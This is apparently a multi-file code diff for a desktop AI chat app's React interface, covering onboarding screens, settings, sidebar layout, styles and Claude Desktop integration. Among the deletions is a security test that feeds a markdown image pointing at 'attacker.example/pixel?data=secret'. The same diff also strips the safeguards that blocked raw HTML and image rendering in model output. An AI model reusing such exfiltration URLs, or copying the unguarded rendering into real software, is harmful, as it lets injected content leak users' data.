displayName: "Qwen 3.8 27B",
|
||||
description: "Local coding",
|
||||
selected: false,
|
||||
},
|
||||
],
|
||||
}}
|
||||
initialIntegrations={[
|
||||
{
|
||||
id: "claude-desktop",
|
||||
name: "Claude",
|
||||
description: "Use Ollama models in Claude Desktop",
|
||||
installed: true,
|
||||
action: "connect",
|
||||
},
|
||||
]}
|
||||
/>,
|
||||
);
|
||||
|
||||
expect(html).not.toContain("Models in Claude");
|
||||
expect(html).not.toContain("GLM 5.2");
|
||||
expect(html).not.toContain("Qwen 3.8 27B");
|
||||
expect(html).not.toContain('type="checkbox"');
|
||||
expect(html).not.toContain("Restart Claude");
|
||||
expect(html).not.toContain("Built-in defaults");
|
||||
});
|
||||
|
||||
it("keeps Claude available without a separate not-installed group", () => {
|
||||
const html = renderToStaticMarkup(
|
||||
<ConnectAppsScreen
|
||||
completionError={null}
|
||||
onRetryCompletion={vi.fn()}
|
||||
initialIntegrations={[
|
||||
{
|
||||
id: "claude-desktop",
|
||||
name: "Claude",
|
||||
description: "Use Ollama models in Claude Desktop",
|
||||
installed: false,
|
||||
action: "connect",
|
||||
},
|
||||
]}
|
||||
/>,
|
||||
);
|
||||
|
||||
expect(html).toContain("Use Ollama models in Claude Desktop");
|
||||
expect(html).toContain('aria-label="Connect Claude"');
|
||||
expect(html).toContain("Download & connect");
|
||||
expect(html).not.toContain("Inactive");
|
||||
expect(html).not.toContain("Not installed");
|
||||
expect(html).not.toContain('disabled=""');
|
||||
});
|
||||
|
||||
it("uses branded icons for the remaining launcher integrations", () => {
|
||||
const html = renderToStaticMarkup(
|
||||
<ConnectAppsScreen
|
||||
completionError={null}
|
||||
onRetryCompletion={vi.fn()}
|
||||
initialIntegrations={[
|
||||
{
|
||||
id: "cline",
|
||||
name: "Cline",
|
||||
description: "Autonomous coding agent",
|
||||
action: "copy",
|
||||
command: "ollama launch cline",
|
||||
},
|
||||
{
|
||||
id: "omp",
|
||||
name: "Oh My Pi",
|
||||
description: "AI coding agent",
|
||||
action: "copy",
|
||||
command: "ollama launch omp",
|
||||
},
|
||||
{
|
||||
id: "pool",
|
||||
name: "Poolside",
|
||||
description: "Poolside's coding agent",
|
||||
action: "copy",
|
||||
command: "ollama launch pool",
|
||||
},
|
||||
{
|
||||
id: "qwen",
|
||||
name: "Qwen Code",
|
||||
description: "Qwen's coding agent",
|
||||
action: "copy",
|
||||
command: "ollama launch qwen",
|
||||
},
|
||||
]}
|
||||
/>,
|
||||
);
|
||||
|
||||
expect(html).toContain("/launch-icons/cline.svg");
|
||||
expect(html).toContain("/launch-icons/oh-my-pi.svg");
|
||||
expect(html).toContain("/launch-icons/poolside.svg");
|
||||
expect(html).toContain("/launch-icons/qwen-code.svg");
|
||||
});
|
||||
|
||||
it("offers cloud sign-up, local setup, and sign in on the welcome screen", () => {
|
||||
const html = renderToStaticMarkup(
|
||||
<WelcomeScreen
|
||||
isAuthenticated={false}
|
||||
isSigningIn={false}
|
||||
signInError={null}
|
||||
onSignIn={vi.fn()}
|
||||
onSignUp={vi.fn()}
|
||||
onLocal={vi.fn()}
|
||||
/>,
|
||||
);
|
||||
|
||||
expect(html).toContain("Create an account");
|
||||
expect(html).toContain(
|
||||
"Create your account for access to faster, larger open models.",
|
||||
);
|
||||
expect(html).toContain("Your data is never logged or trained on.");
|
||||
expect(html).toContain("Sign up");
|
||||
expect(html).toContain("No thanks, I'll use Ollama locally");
|
||||
expect(html).toContain("Sign in");
|
||||
expect(html).not.toContain("Skip");
|
||||
});
|
||||
|
||||
it("shows the cloud choice without a sign-in link for authenticated users", () => {
|
||||
const html = renderToStaticMarkup(
|
||||
<WelcomeScreen
|
||||
isAuthenticated
|
||||
isSigningIn={false}
|
||||
signInError={null}
|
||||
onSignIn={vi.fn()}
|
||||
onSignUp={vi.fn()}
|
||||
onLocal={vi.fn()}
|
||||
/>,
|
||||
);
|
||||
|
||||
expect(html).toContain("Create an account");
|
||||
expect(html).toContain(
|
||||
"Create your account for access to faster, larger open models.",
|
||||
);
|
||||
expect(html).toContain("Your data is never logged or trained on.");
|
||||
expect(html).not.toContain(">Sign in<");
|
||||
});
|
||||
|
||||
it("shows only the local command on the final page", () => {
|
||||
const html = renderToStaticMarkup(
|
||||
<RunOllamaScreen completionError={null} onRetryCompletion={vi.fn()} />,
|
||||
);
|
||||
|
||||
expect(html).toContain("Run Ollama");
|
||||
expect(html).toContain(FIRST_MODEL_COMMAND);
|
||||
expect(html).not.toContain("Finish");
|
||||
expect(html).not.toContain("Sign in");
|
||||
expect(html).not.toContain("create an account");
|
||||
});
|
||||
|
||||
it("shows the connecting state on the welcome action", () => {
|
||||
const html = renderToStaticMarkup(
|
||||
<WelcomeScreen
|
||||
isAuthenticated={false}
|
||||
isSigningIn
|
||||
signInError={null}
|
||||
onSignIn={vi.fn()}
|
||||
onSignUp={vi.fn()}
|
||||
onLocal={vi.fn()}
|
||||
/>,
|
||||
);
|
||||
|
||||
expect(html).toContain("Finish in your browser…");
|
||||
expect(html).not.toContain("Waiting for sign in…");
|
||||
});
|
||||
|
||||
it("shows a retryable error when onboarding completion cannot be saved", () => {
|
||||
const onRetryCompletion = vi.fn();
|
||||
const html = renderToStaticMarkup(
|
||||
<RunOllamaScreen
|
||||
completionError="Unable to save setup. Please try again."
|
||||
onRetryCompletion={onRetryCompletion}
|
||||
/>,
|
||||
);
|
||||
|
||||
expect(html).toContain("Unable to save setup. Please try again.");
|
||||
expect(html).toContain('role="alert"');
|
||||
expect(html).toContain("Try again");
|
||||
});
|
||||
});
|
||||
@@ -6,19 +6,19 @@ import { Field, Label, Description } from "@/components/ui/fieldset";
|
||||
import { Badge } from "@/components/ui/badge";
|
||||
import { Button } from "@/components/ui/button";
|
||||
import { Slider } from "@/components/ui/slider";
|
||||
import { ClaudeDesktopModelsSettings } from "@/components/ClaudeDesktopModelsSettings";
|
||||
import {
|
||||
WifiIcon,
|
||||
FolderIcon,
|
||||
BoltIcon,
|
||||
WrenchIcon,
|
||||
CloudIcon,
|
||||
XMarkIcon,
|
||||
CogIcon,
|
||||
ArrowLeftIcon,
|
||||
ArrowDownTrayIcon,
|
||||
Squares2X2Icon,
|
||||
} from "@heroicons/react/20/solid";
|
||||
import { Settings as SettingsType } from "@/gotypes";
|
||||
import { isWindowsPlatform } from "@/lib/platform";
|
||||
import { useNavigate } from "@tanstack/react-router";
|
||||
import { useUser } from "@/hooks/useUser";
|
||||
import { useCloudStatus } from "@/hooks/useCloudStatus";
|
||||
import { useQuery, useMutation, useQueryClient } from "@tanstack/react-query";
|
||||
@@ -48,8 +48,6 @@ export default function Settings() {
|
||||
const queryClient = useQueryClient();
|
||||
const [showSaved, setShowSaved] = useState(false);
|
||||
const [restartMessage, setRestartMessage] = useState(false);
|
||||
const [showAppsInMenu, setShowAppsInMenuState] = useState(true);
|
||||
const [showAppsInMenuPending, setShowAppsInMenuPending] = useState(false);
|
||||
const {
|
||||
user,
|
||||
isAuthenticated,
|
||||
@@ -63,6 +61,7 @@ export default function Settings() {
|
||||
const [isAwaitingConnection, setIsAwaitingConnection] = useState(false);
|
||||
const [connectionError, setConnectionError] = useState<string | null>(null);
|
||||
const [pollingInterval, setPollingInterval] = useState<number | null>(null);
|
||||
const navigate = useNavigate();
|
||||
const {
|
||||
cloudDisabled,
|
||||
cloudStatus,
|
||||
@@ -144,15 +143,6 @@ export default function Settings() {
|
||||
refetchUser();
|
||||
}, []); // eslint-disable-line react-hooks/exhaustive-deps
|
||||
|
||||
useEffect(() => {
|
||||
window
|
||||
.getShowAppsInMenu?.()
|
||||
.then(setShowAppsInMenuState)
|
||||
.catch((error) =>
|
||||
console.error("Failed to load menu app visibility:", error),
|
||||
);
|
||||
}, []);
|
||||
|
||||
useEffect(() => {
|
||||
const handleFocus = () => {
|
||||
if (isAwaitingConnection && pollingInterval) {
|
||||
@@ -230,22 +220,6 @@ export default function Settings() {
|
||||
}
|
||||
};
|
||||
|
||||
const handleShowAppsInMenu = async (checked: boolean) => {
|
||||
const previous = showAppsInMenu;
|
||||
setShowAppsInMenuState(checked);
|
||||
setShowAppsInMenuPending(true);
|
||||
try {
|
||||
await window.setShowAppsInMenu?.(checked);
|
||||
setShowSaved(true);
|
||||
setTimeout(() => setShowSaved(false), 1500);
|
||||
} catch (error) {
|
||||
setShowAppsInMenuState(previous);
|
||||
console.error("Failed to update menu app visibility:", error);
|
||||
} finally {
|
||||
setShowAppsInMenuPending(false);
|
||||
}
|
||||
};
|
||||
|
||||
const cloudOverriddenByEnv =
|
||||
cloudStatus?.source === "env" || cloudStatus?.source === "both";
|
||||
const cloudToggleDisabled =
|
||||
@@ -292,18 +266,49 @@ export default function Settings() {
|
||||
|
||||
if (error || !settings) {
|
||||
return (
|
||||
<div className="flex flex-1 items-center justify-center">
|
||||
<div className="flex min-h-screen items-center justify-center">
|
||||
<div className="text-red-500">Failed to load settings</div>
|
||||
</div>
|
||||
);
|
||||
}
|
||||
|
||||
const isWindows = isWindowsPlatform();
|
||||
const isWindows = navigator.platform.toLowerCase().includes("win");
|
||||
const handleCloseSettings = () => {
|
||||
const chatId = settings.LastHomeView === "chat" ? "new" : "launch";
|
||||
navigate({ to: "/c/$chatId", params: { chatId } });
|
||||
};
|
||||
|
||||
return (
|
||||
<main className="flex min-h-0 w-full flex-1 flex-col select-none dark:bg-neutral-900">
|
||||
<main className="flex h-screen w-full flex-col select-none dark:bg-neutral-900">
|
||||
<header
|
||||
className="w-full flex flex-none justify-between h-[52px] py-2.5 items-center border-b border-neutral-200 dark:border-neutral-800 select-none"
|
||||
onMouseDown={() => window.drag && window.drag()}
|
||||
onDoubleClick={() => window.doubleClick && window.doubleClick()}
|
||||
>
|
||||
<h1
|
||||
className={`${isWindows ? "pl-4" : "pl-24"} flex items-center font-rounded text-md font-medium dark:text-white`}
|
||||
>
|
||||
{isWindows && (
|
||||
<button
|
||||
onClick={handleCloseSettings}
|
||||
className="hover:bg-neutral-100 mr-3 dark:hover:bg-neutral-800 rounded-full p-1.5"
|
||||
>
|
||||
<ArrowLeftIcon className="w-5 h-5 dark:text-white" />
|
||||
</button>
|
||||
)}
|
||||
Settings
|
||||
</h1>
|
||||
{!isWindows && (
|
||||
<button
|
||||
onClick={handleCloseSettings}
|
||||
className="p-1 hover:bg-neutral-100 mr-3 dark:hover:bg-neutral-800 rounded-full"
|
||||
>
|
||||
<XMarkIcon className="w-6 h-6 dark:text-white" />
|
||||
</button>
|
||||
)}
|
||||
</header>
|
||||
<div className="w-full p-6 overflow-y-auto flex-1 overscroll-contain">
|
||||
<div className="mx-auto max-w-4xl space-y-4">
|
||||
<div className="space-y-4 max-w-2xl mx-auto">
|
||||
{/* Connect Ollama Account */}
|
||||
<div className="overflow-hidden rounded-xl bg-white dark:bg-neutral-800">
|
||||
<div className="p-4">
|
||||
@@ -441,29 +446,6 @@ export default function Settings() {
|
||||
</div>
|
||||
</Field>
|
||||
|
||||
{!isWindows && (
|
||||
<Field>
|
||||
<div className="flex items-start justify-between gap-4">
|
||||
<div className="flex flex-1 items-start space-x-3">
|
||||
<Squares2X2Icon className="mt-1 h-5 w-5 flex-shrink-0 text-black dark:text-neutral-100" />
|
||||
<div>
|
||||
<Label>Show apps in menu</Label>
|
||||
<Description>
|
||||
Show connected apps at the top of the Ollama menu.
|
||||
</Description>
|
||||
</div>
|
||||
</div>
|
||||
<div className="flex-shrink-0">
|
||||
<Switch
|
||||
checked={showAppsInMenu}
|
||||
disabled={showAppsInMenuPending}
|
||||
onChange={handleShowAppsInMenu}
|
||||
/>
|
||||
</div>
|
||||
</div>
|
||||
</Field>
|
||||
)}
|
||||
|
||||
{/* Auto Update */}
|
||||
<Field>
|
||||
<div className="flex items-start justify-between gap-4">
|
||||
@@ -481,9 +463,7 @@ export default function Settings() {
|
||||
<div className="flex-shrink-0">
|
||||
<Switch
|
||||
checked={settings.AutoUpdateEnabled}
|
||||
onChange={(checked) =>
|
||||
handleChange("AutoUpdateEnabled", checked)
|
||||
}
|
||||
onChange={(checked) => handleChange("AutoUpdateEnabled", checked)}
|
||||
/>
|
||||
</div>
|
||||
</div>
|
||||
@@ -564,9 +544,7 @@ export default function Settings() {
|
||||
</Description>
|
||||
<div className="mt-3">
|
||||
<Slider
|
||||
value={
|
||||
settings.ContextLength || defaultContextLength || 0
|
||||
}
|
||||
value={settings.ContextLength || defaultContextLength || 0}
|
||||
onChange={(value) => {
|
||||
handleChange("ContextLength", value);
|
||||
}}
|
||||
@@ -588,8 +566,6 @@ export default function Settings() {
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<ClaudeDesktopModelsSettings />
|
||||
|
||||
{/* Agent Mode */}
|
||||
{window.OLLAMA_TOOLS && (
|
||||
<div className="overflow-hidden rounded-xl bg-white dark:bg-neutral-800">
|
||||
|
||||
@@ -1,61 +0,0 @@
|
||||
import { renderToStaticMarkup } from "react-dom/server";
|
||||
import type React from "react";
|
||||
import { beforeEach, describe, expect, it, vi } from "vitest";
|
||||
|
||||
type MockStreamdownProps = {
|
||||
children?: React.ReactNode;
|
||||
components: {
|
||||
img: React.ComponentType<React.ImgHTMLAttributes<HTMLImageElement>>;
|
||||
};
|
||||
rehypePlugins?: unknown[];
|
||||
};
|
||||
|
||||
const streamdownMock = vi.hoisted(() =>
|
||||
vi.fn((props: MockStreamdownProps) => props.children),
|
||||
);
|
||||
|
||||
vi.mock("streamdown", () => ({
|
||||
Streamdown: streamdownMock,
|
||||
defaultRehypePlugins: {
|
||||
katex: "katex",
|
||||
raw: "raw",
|
||||
},
|
||||
defaultRemarkPlugins: {
|
||||
gfm: "gfm",
|
||||
math: "math",
|
||||
},
|
||||
}));
|
||||
|
||||
import StreamingMarkdownContent from "./StreamingMarkdownContent";
|
||||
|
||||
describe("StreamingMarkdownContent", () => {
|
||||
beforeEach(() => {
|
||||
streamdownMock.mockClear();
|
||||
});
|
||||
|
||||
it("does not enable raw HTML parsing", () => {
|
||||
renderToStaticMarkup(
|
||||
<StreamingMarkdownContent content="<iframe></iframe>" />,
|
||||
);
|
||||
|
||||
const props = streamdownMock.mock.calls[0][0];
|
||||
expect(props.rehypePlugins).toEqual(["katex"]);
|
||||
expect(props.rehypePlugins).not.toContain("raw");
|
||||
});
|
||||
|
||||
it("does not render markdown image src values", () => {
|
||||
renderToStaticMarkup(
|
||||
<StreamingMarkdownContent content="" />,
|
||||
);
|
||||
|
||||
const props = streamdownMock.mock.calls[0][0];
|
||||
const Img = props.components.img;
|
||||
const html = renderToStaticMarkup(
|
||||
<Img alt="secret" src="https://attacker.example/pixel?data=secret" />,
|
||||
);
|
||||
|
||||
expect(html).not.toContain("<img");
|
||||
expect(html).not.toContain("attacker.example");
|
||||
expect(html).toContain("secret");
|
||||
});
|
||||
});
|
||||
@@ -1,9 +1,5 @@
|
||||
import React from "react";
|
||||
import {
|
||||
Streamdown,
|
||||
defaultRehypePlugins,
|
||||
defaultRemarkPlugins,
|
||||
} from "streamdown";
|
||||
import { Streamdown, defaultRemarkPlugins } from "streamdown";
|
||||
import remarkCitationParser from "@/utils/remarkCitationParser";
|
||||
import CopyButton from "./CopyButton";
|
||||
import type { BundledLanguage } from "shiki";
|
||||
@@ -33,8 +29,6 @@ const extractText = (node: React.ReactNode): string => {
|
||||
return "";
|
||||
};
|
||||
|
||||
const safeRehypePlugins = [defaultRehypePlugins.katex];
|
||||
|
||||
const CodeBlock = React.memo(
|
||||
({ children }: React.HTMLAttributes<HTMLPreElement>) => {
|
||||
// Extract code and language from children
|
||||
@@ -216,12 +210,9 @@ const StreamingMarkdownContent: React.FC<StreamingMarkdownContentProps> =
|
||||
<Streamdown
|
||||
parseIncompleteMarkdown={isStreaming}
|
||||
isAnimating={isStreaming}
|
||||
rehypePlugins={safeRehypePlugins}
|
||||
remarkPlugins={remarkPlugins}
|
||||
controls={false}
|
||||
components={{
|
||||
img: ({ alt }: React.ImgHTMLAttributes<HTMLImageElement>) =>
|
||||
alt ? <span>{alt}</span> : null,
|
||||
pre: CodeBlock,
|
||||
table: ({
|
||||
children,
|
||||
|
||||
@@ -1,23 +0,0 @@
|
||||
import { renderToStaticMarkup } from "react-dom/server";
|
||||
import { afterEach, describe, expect, it, vi } from "vitest";
|
||||
import { SidebarLayout } from "./layout";
|
||||
|
||||
describe("SidebarLayout", () => {
|
||||
afterEach(() => {
|
||||
vi.unstubAllGlobals();
|
||||
});
|
||||
|
||||
it("keeps the macOS title offset in step with the sidebar transition", () => {
|
||||
vi.stubGlobal("window", { OLLAMA_PLATFORM: "darwin" });
|
||||
|
||||
const html = renderToStaticMarkup(
|
||||
<SidebarLayout title="Connect your apps" sidebar={<nav />}>
|
||||
<div />
|
||||
</SidebarLayout>,
|
||||
);
|
||||
|
||||
expect(html).toContain("pl-36");
|
||||
expect(html).toContain("transition-[padding-left]");
|
||||
expect(html).toContain("duration-300");
|
||||
});
|
||||
});
|
||||
@@ -1,39 +1,30 @@
|
||||
import { Link } from "@tanstack/react-router";
|
||||
import { ChatIcon } from "@/components/ChatIcon";
|
||||
import { isWindowsPlatform } from "@/lib/platform";
|
||||
import { useState } from "react";
|
||||
|
||||
let sessionSidebarOpen = false;
|
||||
import { useSettings } from "@/hooks/useSettings";
|
||||
|
||||
export function SidebarLayout({
|
||||
sidebar,
|
||||
title,
|
||||
children,
|
||||
}: React.PropsWithChildren<{
|
||||
sidebar: React.ReactNode;
|
||||
title?: string;
|
||||
collapsible?: boolean;
|
||||
chatId?: string;
|
||||
}>) {
|
||||
const [sidebarOpen, setSidebarOpen] = useState(sessionSidebarOpen);
|
||||
const isWindows = isWindowsPlatform();
|
||||
|
||||
const toggleSidebar = () => {
|
||||
sessionSidebarOpen = !sidebarOpen;
|
||||
setSidebarOpen(sessionSidebarOpen);
|
||||
};
|
||||
const { settings, setSettings } = useSettings();
|
||||
const isWindows = navigator.platform.toLowerCase().includes("win");
|
||||
|
||||
return (
|
||||
<div className="flex h-screen w-full overflow-hidden dark:bg-neutral-900">
|
||||
<div className={`flex transition-[width] duration-300 dark:bg-neutral-900`}>
|
||||
<div
|
||||
className={`absolute flex mx-2 py-2 z-20 items-center transition-[left] duration-375 text-neutral-500 dark:text-neutral-400 ${sidebarOpen ? (isWindows ? "left-2" : "left-[140px]") : isWindows ? "left-2" : "left-20"}`}
|
||||
className={`absolute flex mx-2 py-2 z-20 items-center transition-[left] duration-375 text-neutral-500 dark:text-neutral-400 ${settings.sidebarOpen ? (isWindows ? "left-2" : "left-[204px]") : isWindows ? "left-2" : "left-20"}`}
|
||||
>
|
||||
<button
|
||||
onClick={toggleSidebar}
|
||||
onClick={() => setSettings({ SidebarOpen: !settings.sidebarOpen })}
|
||||
onMouseDown={(e) => {
|
||||
e.stopPropagation();
|
||||
}}
|
||||
className="h-9 w-9 flex items-center justify-center rounded-full hover:bg-neutral-100 dark:hover:bg-neutral-700/75 cursor-pointer"
|
||||
aria-label={sidebarOpen ? "Hide sidebar" : "Show sidebar"}
|
||||
title={sidebarOpen ? "Hide sidebar" : "Show sidebar"}
|
||||
aria-label={settings.sidebarOpen ? "Hide sidebar" : "Show sidebar"}
|
||||
title={settings.sidebarOpen ? "Hide sidebar" : "Show sidebar"}
|
||||
>
|
||||
<svg
|
||||
className="h-5 w-5 fill-current"
|
||||
@@ -44,47 +35,45 @@ export function SidebarLayout({
|
||||
<path d="M7.76132 16.6344H9.58103V1.59842H7.76132V16.6344ZM4.20898 18.2316H19.124C21.6518 18.2316 23.1293 16.6963 23.1293 14.0209V4.2205C23.1293 1.54512 21.6518 0.00351715 19.124 0.00351715H4.20898C1.54336 0.00351715 0 1.54512 0 4.2205V14.0209C0 16.6963 1.54336 18.2316 4.20898 18.2316ZM4.31191 16.3184C2.79628 16.3184 1.91327 15.4434 1.91327 13.926V4.31542C1.91327 2.79979 2.79628 1.91678 4.31191 1.91678H18.8174C20.333 1.91678 21.216 2.79979 21.216 4.31542V13.926C21.216 15.4434 20.333 16.3184 18.8174 16.3184H4.31191ZM5.85116 5.50038C6.1951 5.50038 6.49217 5.20507 6.49217 4.87968C6.49217 4.54628 6.1951 4.25722 5.85116 4.25722H3.8412C3.49725 4.25722 3.20819 4.54628 3.20819 4.87968C3.20819 5.20507 3.49725 5.50038 3.8412 5.50038H5.85116ZM5.85116 8.1158C6.1951 8.1158 6.49217 7.82049 6.49217 7.4871C6.49217 7.1537 6.1951 6.8744 5.85116 6.8744H3.8412C3.49725 6.8744 3.20819 7.1537 3.20819 7.4871C3.20819 7.82049 3.49725 8.1158 3.8412 8.1158H5.85116ZM5.85116 10.725C6.1951 10.725 6.49217 10.4439 6.49217 10.1105C6.49217 9.77713 6.1951 9.48983 5.85116 9.48983H3.8412C3.49725 9.48983 3.20819 9.77713 3.20819 10.1105C3.20819 10.4439 3.49725 10.725 3.8412 10.725H5.85116Z" />
|
||||
</svg>
|
||||
</button>
|
||||
{!title && (
|
||||
<Link
|
||||
to="/c/$chatId"
|
||||
params={{ chatId: "new" }}
|
||||
title="New chat"
|
||||
className={`flex ml-1 items-center justify-center rounded-full transition-opacity duration-375 h-9 w-9 hover:bg-neutral-100 dark:hover:bg-neutral-700 ${
|
||||
sidebarOpen ? "opacity-0 pointer-events-none" : "opacity-100"
|
||||
}`}
|
||||
<Link
|
||||
to="/c/$chatId"
|
||||
params={{ chatId: "new" }}
|
||||
title="New chat"
|
||||
className={`flex ml-1 items-center justify-center rounded-full transition-opacity duration-375 h-9 w-9 hover:bg-neutral-100 dark:hover:bg-neutral-700 ${
|
||||
settings.sidebarOpen
|
||||
? "opacity-0 pointer-events-none"
|
||||
: "opacity-100"
|
||||
}`}
|
||||
>
|
||||
<svg
|
||||
className="h-5 w-5 fill-current"
|
||||
viewBox="0 0 24 24"
|
||||
fill="none"
|
||||
xmlns="http://www.w3.org/2000/svg"
|
||||
>
|
||||
<ChatIcon />
|
||||
</Link>
|
||||
)}
|
||||
<path d="M17.0859 3.39949L15.2135 5.27196H7.27028C5.78649 5.27196 4.94684 6.11336 4.94684 7.59716V16.664C4.94684 18.1558 5.78649 18.9892 7.27028 18.9892H16.3406C17.8324 18.9892 18.6623 18.1558 18.6623 16.664V8.79514L20.5428 6.9115C20.567 7.11532 20.5773 7.33066 20.5773 7.55419V16.7149C20.5773 19.4069 19.0818 20.9024 16.3898 20.9024H7.22107C4.53708 20.9024 3.03357 19.4069 3.03357 16.7149V7.55419C3.03357 4.8622 4.53708 3.35869 7.22107 3.35869H16.3898C16.6329 3.35869 16.8662 3.37094 17.0859 3.39949Z" />
|
||||
<path d="M9.92714 14.381L11.914 13.5403L20.8312 4.63114L19.3404 3.1581L10.433 12.0655L9.55234 13.9964C9.45664 14.2169 9.70293 14.4714 9.92714 14.381ZM21.5767 3.89364L22.2588 3.19384C22.6347 2.80184 22.6435 2.2663 22.2711 1.90536L22.0148 1.64287C21.6822 1.31377 21.1334 1.36513 20.7689 1.72158L20.0859 2.39833L21.5767 3.89364Z" />
|
||||
</svg>
|
||||
</Link>
|
||||
</div>
|
||||
<div
|
||||
className={`flex max-h-screen flex-col transition-[width] duration-300 ${
|
||||
sidebarOpen
|
||||
? "w-48 border-r border-neutral-200 bg-neutral-50 dark:border-neutral-800 dark:bg-neutral-950/40"
|
||||
: "w-0"
|
||||
}`}
|
||||
className={`flex flex-col transition-[width] duration-300 max-h-screen ${settings.sidebarOpen ? "w-64" : "w-0"}`}
|
||||
>
|
||||
<div
|
||||
onDoubleClick={() => window.doubleClick && window.doubleClick()}
|
||||
onMouseDown={() => window.drag && window.drag()}
|
||||
className="flex-none h-13 w-full"
|
||||
></div>
|
||||
{sidebarOpen && sidebar}
|
||||
{settings.sidebarOpen && sidebar}
|
||||
</div>
|
||||
<main className="flex min-w-0 flex-1 flex-col transition-all duration-300">
|
||||
<main
|
||||
className={`flex flex-1 flex-col min-w-0 transition-all duration-300`}
|
||||
>
|
||||
<div
|
||||
className={`h-13 z-10 flex w-full flex-none items-center bg-white dark:bg-neutral-900 ${title ? "" : isWindows ? "xl:hidden" : "xl:fixed xl:bg-transparent xl:dark:bg-transparent"}`}
|
||||
className={`h-13 flex-none w-full z-10 flex items-center bg-white dark:bg-neutral-900 ${isWindows ? "xl:hidden" : "xl:fixed xl:bg-transparent xl:dark:bg-transparent"}`}
|
||||
onDoubleClick={() => window.doubleClick && window.doubleClick()}
|
||||
onMouseDown={() => window.drag && window.drag()}
|
||||
>
|
||||
{title && (
|
||||
<h1
|
||||
className={`${sidebarOpen ? "pl-6" : isWindows ? "pl-16" : "pl-36"} transition-[padding-left] duration-300 font-rounded text-md font-medium dark:text-white`}
|
||||
>
|
||||
{title}
|
||||
</h1>
|
||||
)}
|
||||
</div>
|
||||
></div>
|
||||
{children}
|
||||
</main>
|
||||
</div>
|
||||
|
||||
@@ -10,7 +10,6 @@ interface SettingsState {
|
||||
selectedModel: string;
|
||||
sidebarOpen: boolean;
|
||||
lastHomeView: string;
|
||||
onboardingVersion: number;
|
||||
thinkEnabled: boolean;
|
||||
thinkLevel: string;
|
||||
}
|
||||
@@ -24,7 +23,6 @@ type SettingsUpdate = Partial<{
|
||||
SelectedModel: string;
|
||||
SidebarOpen: boolean;
|
||||
LastHomeView: string;
|
||||
OnboardingVersion: number;
|
||||
}>;
|
||||
|
||||
export function useSettings() {
|
||||
@@ -54,8 +52,7 @@ export function useSettings() {
|
||||
thinkLevel: settingsData?.settings?.ThinkLevel ?? "none",
|
||||
selectedModel: settingsData?.settings?.SelectedModel ?? "",
|
||||
sidebarOpen: settingsData?.settings?.SidebarOpen ?? false,
|
||||
lastHomeView: settingsData?.settings?.LastHomeView ?? "chat",
|
||||
onboardingVersion: settingsData?.settings?.OnboardingVersion ?? 0,
|
||||
lastHomeView: settingsData?.settings?.LastHomeView ?? "launch",
|
||||
}),
|
||||
[settingsData?.settings],
|
||||
);
|
||||
|
||||
@@ -2,35 +2,18 @@
|
||||
@plugin "@tailwindcss/typography";
|
||||
@import "katex/dist/katex.min.css";
|
||||
|
||||
/* Retain component class names while making the dark variant unreachable. */
|
||||
@custom-variant dark (@media not all);
|
||||
|
||||
@theme {
|
||||
--font-sans: ui-sans-serif, system-ui, "Segoe UI", sans-serif;
|
||||
--font-rounded:
|
||||
"SF Pro Rounded", ui-sans-serif, system-ui, "Segoe UI", sans-serif;
|
||||
}
|
||||
|
||||
@layer base {
|
||||
@media (prefers-color-scheme: dark) {
|
||||
/* Dark mode styles go here */
|
||||
:root {
|
||||
color-scheme: light;
|
||||
}
|
||||
|
||||
html,
|
||||
body,
|
||||
#root {
|
||||
background-color: #fff;
|
||||
}
|
||||
|
||||
a[href],
|
||||
button:not(:disabled),
|
||||
[role="button"]:not([aria-disabled="true"]) {
|
||||
cursor: pointer;
|
||||
}
|
||||
|
||||
button:disabled,
|
||||
[role="button"][aria-disabled="true"] {
|
||||
cursor: not-allowed;
|
||||
/* Example dark mode variables */
|
||||
--bg-color: #1a1a1a;
|
||||
--text-color: #ffffff;
|
||||
}
|
||||
}
|
||||
|
||||
@@ -45,32 +28,3 @@
|
||||
opacity: 1;
|
||||
}
|
||||
}
|
||||
|
||||
@keyframes claude-connected-backdrop-in {
|
||||
from {
|
||||
opacity: 0;
|
||||
}
|
||||
}
|
||||
|
||||
@keyframes claude-connected-dialog-in {
|
||||
from {
|
||||
opacity: 0;
|
||||
transform: translateY(6px) scale(0.98);
|
||||
}
|
||||
}
|
||||
|
||||
.claude-connected-backdrop {
|
||||
animation: claude-connected-backdrop-in 280ms ease-in-out both;
|
||||
}
|
||||
|
||||
.claude-connected-dialog {
|
||||
animation: claude-connected-dialog-in 345ms cubic-bezier(0.4, 0, 0.2, 1) both;
|
||||
will-change: opacity, transform;
|
||||
}
|
||||
|
||||
@media (prefers-reduced-motion: reduce) {
|
||||
.claude-connected-backdrop,
|
||||
.claude-connected-dialog {
|
||||
animation: none;
|
||||
}
|
||||
}
|
||||
@@ -1,188 +0,0 @@
|
||||
import { describe, expect, it } from "vitest";
|
||||
import {
|
||||
addClaudeModelSelection,
|
||||
claudeDesktopRecoveryMessage,
|
||||
claudeDesktopMaxModels,
|
||||
claudeDesktopMaxModelsMessage,
|
||||
claudeDesktopUsableSelection,
|
||||
defaultClaudeDesktopMaxModels,
|
||||
isClaudeConfigured,
|
||||
} from "./claudeDesktop";
|
||||
|
||||
describe("isClaudeConfigured", () => {
|
||||
it("keeps a failed configured profile switchable off", () => {
|
||||
expect(
|
||||
isClaudeConfigured({
|
||||
supported: true,
|
||||
used: true,
|
||||
installed: true,
|
||||
configured: true,
|
||||
connected: false,
|
||||
running: false,
|
||||
startFailed: true,
|
||||
portConflict: true,
|
||||
}),
|
||||
).toBe(true);
|
||||
});
|
||||
});
|
||||
|
||||
describe("claudeDesktopMaxModels", () => {
|
||||
it("falls back to the five literal Claude slots without a status", () => {
|
||||
expect(claudeDesktopMaxModels(undefined)).toBe(5);
|
||||
expect(
|
||||
claudeDesktopMaxModels({
|
||||
supported: true,
|
||||
used: true,
|
||||
installed: true,
|
||||
connected: false,
|
||||
running: false,
|
||||
startFailed: false,
|
||||
portConflict: false,
|
||||
}),
|
||||
).toBe(defaultClaudeDesktopMaxModels);
|
||||
});
|
||||
|
||||
it("uses the server-provided limit when present", () => {
|
||||
expect(
|
||||
claudeDesktopMaxModels({
|
||||
supported: true,
|
||||
used: true,
|
||||
installed: true,
|
||||
connected: false,
|
||||
running: false,
|
||||
startFailed: false,
|
||||
portConflict: false,
|
||||
maxModels: 3,
|
||||
}),
|
||||
).toBe(3);
|
||||
});
|
||||
});
|
||||
|
||||
describe("claudeDesktopRecoveryMessage", () => {
|
||||
it("prefers current native guidance over stale action errors", () => {
|
||||
expect(
|
||||
claudeDesktopRecoveryMessage(
|
||||
